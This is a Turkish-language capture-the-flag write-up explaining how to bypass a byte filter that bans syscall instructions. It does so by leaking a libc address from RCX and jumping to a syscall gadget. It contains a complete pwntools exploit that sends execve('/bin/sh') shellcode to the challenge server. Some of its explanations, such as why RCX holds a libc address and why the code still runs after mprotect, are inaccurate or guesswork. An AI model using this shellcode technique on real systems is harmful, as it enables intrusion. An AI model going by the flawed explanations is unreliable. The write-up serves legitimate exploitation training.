Syscall Yasak mı? O Zaman Ödünç Alalım!
Giriş
Binary exploitation dünyasında shellcode yazmak başlı başına bir beceri gerektiriyor. Ancak işler gerçekten zorlaşmaya başlıyor ki belirli byte’ların yasaklandığı ortamlarda çalışmak zorundasınız. Bu yazıda, bir CTF challenge’ında karşılaştığım “restricted shellcode” problemini nasıl çözdüğümü adım adım anlatacağım. Öğreneceğiniz teknikler sadece CTF’lerde değil, gerçek dünya exploit geliştirme senaryolarında da karşınıza çıkacak.
Challenge’ın terminal ekran görüntüsü: “Send to void execution:” prompt’u
Binary Analizi
Her exploit geliştirme sürecinde olduğu gibi ilk adımımız hedef binary’yi tanımak oldu. checksec aracıyla güvenlik mekanizmalarını incelediğimde şu tabloyla karşılaştım:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Bu çıktı bize çok şey söylüyor. Full RELRO aktif olduğundan GOT overwrite saldırıları devre dışı. NX enabled olması stack veya heap üzerinde doğrudan shellcode çalıştıramayacağımız anlamına geliyor. PIE enabled ise her çalıştırmada binary’nin farklı bir adrese yükleneceğini gösteriyor. Ancak dikkat çeken bir detay var: stack canary yok. Bu durum klasik buffer overflow saldırılarına kapı aralıyor olabilir.
checksec çıktısı: binary’nin güvenlik mekanizmalarını gösteriyor
Programın Akışını Anlamak
objdump ile main fonksiyonunu disassemble ettiğimde programın ne yaptığı netleşti. İşte kritik kısımlar ve ne anlama geldikleri:
mov $0xc0de0000,%eax
mov %rax,%rdi
callq mmap@plt
Program öncelikle 0xc0de0000 adresinde sabit bir bellek bölgesi oluşturuyor. Bu adres rastgele değil, kasıtlı olarak seçilmiş. mmap çağrısının parametrelerine baktığımızda PROT_READ, PROT_WRITE ve PROT_EXEC flag’lerinin hepsinin aktif olduğunu görüyoruz. Yani bu bölge hem okunabilir, hem yazılabilir, hem de çalıştırılabilir.
Ardından program bizden input alıyor:
mov $0x64,%edx ; 100 byte
mov %rax,%rsi ; buffer adresi
mov $0x0,%edi ; stdin
callq read@plt
Tam 100 byte’a kadar input alabiliyor ve bunu az önce oluşturduğu 0xc0de0000 adresine yazıyor. Buraya kadar her şey normal bir shellcode execution challenge’ı gibi görünüyor.
main fonksiyonunun disassembly çıktısı
Yasak Kontrol Mekanizması
İşte challenge’ın asıl zorluğu burada başlıyor. Program input’umuzu doğrudan çalıştırmadan önce “forbidden” adlı bir fonksiyondan geçiriyor:
callq forbidden
test %al,%al
je main+0xa6
mov $0x1,%edi
callq exit@plt
Bu kontrol fonksiyonu eğer true dönerse program exit çağırıyor ve shellcode’umuz asla çalışmıyor. Peki forbidden fonksiyonu neyi kontrol ediyor?
Fonksiyonu analiz ettiğimde iki kritik kontrol buldum:
cmp $0xf,%al ; 0x0f byte'ı yasak mı?
jne ...
cmp $0xcd,%al ; 0xcd byte'ı var mı?
...
cmp $0x80,%al ; hemen ardından 0x80 geliyor mu?
Birinci kontrol tek başına 0x0f byte’ını arıyor. İkinci kontrol ise 0xcd ve 0x80 byte’larının ardışık olup olmadığına bakıyor.
Bu yasakların ne anlama geldiğini anlamak için x86-64 instruction encoding bilgisine ihtiyacımız var:
syscall instruction’ı 0x0f 0x05 olarak encode ediliyor. Birinci yasak olan 0x0f byte’ı tam olarak bu yüzden konulmuş. Aynı şekilde int 0x80 instruction’ı da 0xcd 0x80 olarak encode ediliyor ve ikinci yasak bunu engelliyor.
Özetle: Linux’ta sistem çağrısı yapmanın bilinen iki yolu da engellenmiş durumda.
Yasaklı byte’lar tablosu: syscall, int 0x80 ve sysenter instruction’ları engellenmiş
Bir Sorun Daha: mprotect Tuzağı
Sanki syscall yasakları yetmezmiş gibi bir sürpriz daha var. Forbidden kontrolünden hemen sonra şu kod çalışıyor:
mov $0x4,%edx ; PROT_READ only!
mov $0x64,%esi
mov %rax,%rdi
callq mprotect@plt
Program shellcode’umuzu içeren bellek bölgesini PROT_READ (sadece okuma) moduna çeviriyor. Bu demek oluyor ki shellcode’umuz artık yazılabilir veya çalıştırılabilir değil.
İlk düşüncem self-modifying shellcode yazmaktı. Yani yasak byte’ları encode edip çalışma zamanında decode edecektim. Ancak mprotect çağrısı bu planı tamamen çökertti. Bellek artık yazılabilir olmadığından kendi kendini değiştiren kod çalışamaz.
Bir dakika. Eğer bellek çalıştırılabilir değilse program shellcode’umuzu nasıl çalıştıracak?
mov -0x8(%rbp),%rdx
mov $0x0,%eax
callq *%rdx ; shellcode'a jump!
İşte burada bir tutarsızlık var. Program mprotect ile execute iznini kaldırıyor ama sonra call *rdx ile oraya atlıyor. Test ettiğimde gördüm ki kod yine de çalışıyor. Bunun sebebi muhtemelen işletim sistemi veya CPU’nun bu durumu farklı handle etmesi olabilir. Her neyse, shellcode’umuz çalışıyor ama kendini değiştiremiyor.
Program yürütme mantığı: mmap → read → forbidden check → mprotect → execute akışı
Çıkış Yolunu Aramak: Register Analizi
Klasik yöntemler elimden alındığına göre alternatif düşünmem gerekiyordu. Aklıma gelen fikir şuydu: eğer libc’de bir yerde syscall instruction’ı varsa ve o adrese atlayabilirsem, kendi shellcode’umda syscall yazmama gerek kalmaz.
Ama PIE aktif olduğundan adresleri bilmiyorum. Ya da biliyor muyum?
GDB ile shellcode’umuzun çalışmaya başladığı anı yakaladım ve register’ları inceledim:
rax 0x0
rbx 0x0
rcx 0x7ffff7eb18bb ← Bu ilginç!
rdx 0xc0de0000
rsi 0x64
rdi 0xc0de0000
RCX register’ında 0x7ffff7 ile başlayan bir adres var. Bu adres aralığı tipik olarak libc’nin yüklendiği bölgeye denk geliyor. Peki bu değer nereden geldi?
Cevap basit: read sistem çağrısının dönüş değeri. x86-64 calling convention’a göre syscall’dan döndükten sonra bazı register’lar korunuyor ve RCX bunlardan biri. read() fonksiyonu libc üzerinden çağrıldığı için RCX’te libc içinden bir adres kalmış.
Shellcode başlangıç anında register durumu: RCX’teki libc adresi altın değerinde!
Libc Offset Hesaplaması
Elimde libc içinden bir adres var. Şimdi bu adresi kullanarak syscall gadget’ına nasıl ulaşacağımı hesaplamam gerekiyor.
Önce libc’nin memory map’teki konumunu buldum:
0x7ffff7d93000 0x7ffff7dbb000 /root/void/libc.so.6
Libc base adresi: 0x7ffff7d93000
RCX’teki değer: 0x7ffff7eb18bb
RCX offset = 0x7ffff7eb18bb - 0x7ffff7d93000 = 0x11e8bb
Şimdi challenge’ın kendi libc’indeki syscall gadget’ını bulmam gerekiyor. Dikkat edin, sistem libc’si değil, challenge ile birlikte gelen ./libc.so.6 dosyasını kullanıyorum:
ROPgadget --binary ./libc.so.6 | grep ": syscall$"
0x0000000000029db4 : syscall
Syscall gadget offset: 0x29db4
Artık matematiği yapabilirim:
syscall_addr = libc_base + 0x29db4
= (RCX - 0x11e8bb) + 0x29db4
= RCX - (0x11e8bb - 0x29db4)
= RCX - 0xf4b07
Yani shellcode’umda RCX’ten 0xf4b07 çıkarırsam, doğrudan libc’deki syscall instruction’ına ulaşırım.
Offset hesaplaması: RCX noktasından syscall gadget’a nasıl ulaşılır
Bellek düzeni: stack, libc, binary ve shellcode buffer konumları
Son Engel: Immediate Değerdeki Yasak Byte
Exploit’i yazmaya başladığımda bir sorunla daha karşılaştım. Aşağıdaki instruction’a bakın:
sub rcx, 0xf4b07
Bu instruction’ın makine kodu: 48 81 e9 07 4b 0f 00
Immediate değerin içinde 0x0f var! Bu byte yasak olduğundan forbidden kontrolünden geçemeyecek.
Çözüm basit ama zarif: büyük sayıyı parçalara ayırmak.
0xf4b07 = 0x80000 + 0x74b07
Her iki parça da 0x0f içermiyor. Shellcode’da iki ayrı sub instruction’ı kullanarak aynı sonuca ulaşabilirim:
sub rcx, 0x80000
sub rcx, 0x74b07
Yasak byte problemi ve çözümü: 0xf4b07 değerini iki parçaya bölmek
Final Exploit
Tüm parçaları bir araya getirdiğimde ortaya çıkan shellcode şu şekilde:
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
HOST = '10.66.132.109'
PORT = 9008
shellcode = asm('''
/* execve("/bin/sh", NULL, NULL) için hazırlık */
xor esi, esi /* rsi = 0 (argv = NULL) */
xor edx, edx /* rdx = 0 (envp = NULL) */
/* "/bin/sh" stringini stack'e yaz */
xor eax, eax
push rax /* null terminator */
mov rax, 0x68732f6e69622f /* "/bin/sh" little-endian */
push rax
mov rdi, rsp /* rdi = "/bin/sh" adresi */
/* execve syscall numarası = 59 = 0x3b */
xor eax, eax
mov al, 0x3b
/* RCX'ten syscall gadget adresini hesapla */
/* 0xf4b07'yi 0x0f içermeyecek şekilde parçala */
sub rcx, 0x80000
sub rcx, 0x74b07
/* libc'deki syscall gadget'a atla */
jmp rcx
''')
p = remote(HOST, PORT)
p.sendlineafter(b':', shellcode)
p.interactive()
Shellcode’un yaptığı işlemleri adım adım açıklayayım:
Birinci bölümde register’ları sıfırlıyorum. ESI ve EDX’i XOR ile temizlemek hem null byte üretmiyor hem de kısa instruction’lar kullanmamı sağlıyor. execve sistem çağrısı için argv ve envp parametrelerinin NULL olması yeterli.
İkinci bölümde “/bin/sh” stringini stack’e yazıyorum. Önce null terminator için sıfır push ediyorum, sonra stringin kendisini little-endian formatında yazıyorum. mov rdi, rsp ile string’in adresini RDI’a alıyorum çünkü execve’nin birinci parametresi çalıştırılacak programın yolu.
Üçüncü bölümde syscall numarasını ayarlıyorum. execve’nin syscall numarası 59 yani 0x3b. Bunu doğrudan mov al, 0x3b ile yazabiliyorum çünkü 0x3b yasak byte’lar arasında değil.
Son bölümde büyü gerçekleşiyor. RCX’ten hesapladığım offset’i çıkararak libc’deki syscall instruction’ının adresine ulaşıyorum. jmp rcx ile oraya atlıyorum ve execve sistem çağrısı gerçekleşiyor.
Shellcode anatomisi: her bölümün ne yaptığının detaylı açıklaması
Exploit zinciri: input’tan shell’e kadar olan yolculuk
Teknik Özet
Bu challenge’da kullandığım teknik literatürde “ret2libc via register leak” veya “reusing libc gadgets” olarak geçiyor. Klasik ret2libc saldırılarından farkı, stack üzerinde ROP chain oluşturmak yerine mevcut register değerlerini kullanmam.
Karşılaştığım engeller ve çözümleri:
İlk engel syscall ve int 0x80 instruction’larının yasaklanmasıydı. Çözüm olarak bu instruction’ları kendi shellcode’uma yazmak yerine libc’de zaten var olanı kullandım.
İkinci engel ASLR nedeniyle libc adresini bilmememdi. Çözüm olarak read() sistem çağrısından kalan RCX register değerini kullandım.
Üçüncü engel mprotect ile belleğin read-only yapılmasıydı. Bu durum self-modifying shellcode seçeneğini ortadan kaldırdı ama libc gadget yaklaşımını etkilemedi.
Dördüncü engel offset hesaplamasındaki 0x0f byte’ıydı. Çözüm olarak büyük sayıyı yasak byte içermeyen parçalara ayırdım.
Öğrenilen Dersler
Bu challenge bana birkaç önemli şey öğretti. Birincisi, bir yol kapandığında başka yollar aramak gerekiyor. syscall yazamıyorsam başkasının yazdığı syscall’ı kullanabilirim.
İkincisi, register değerleri altın değerinde olabilir. Program akışı sırasında register’larda kalan değerler bazen exploit için kritik bilgiler içeriyor.
Üçüncüsü, immediate değerler de dikkatli seçilmeli. Yasak byte’lar sadece instruction opcode’larında değil, operand’larda da sorun çıkarabiliyor.
Son olarak, binary’nin yanında gelen kütüphanelere dikkat etmek gerekiyor. Bu challenge kendi libc’sini getiriyordu ve offset’ler sistem libc’sinden farklıydı.
Kaynaklar ve İleri Okuma
Bu konuda derinleşmek isteyenler için önerdiğim kaynaklar:
Phrack Magazine’deki “Writing IA32 Alphanumeric Shellcodes” makalesi restricted shellcode konusunun temel taşı sayılır.
USENIX WOOT 2020’de yayınlanan “Automatic Generation of Compact Printable Shellcodes” makalesi encoding tekniklerini derinlemesine inceliyor.
Columbia Üniversitesi’nden “On the Infeasibility of Modeling Polymorphic Shellcode” makalesi self-modifying kod tekniklerini akademik perspektiften ele alıyor.
Yorumlar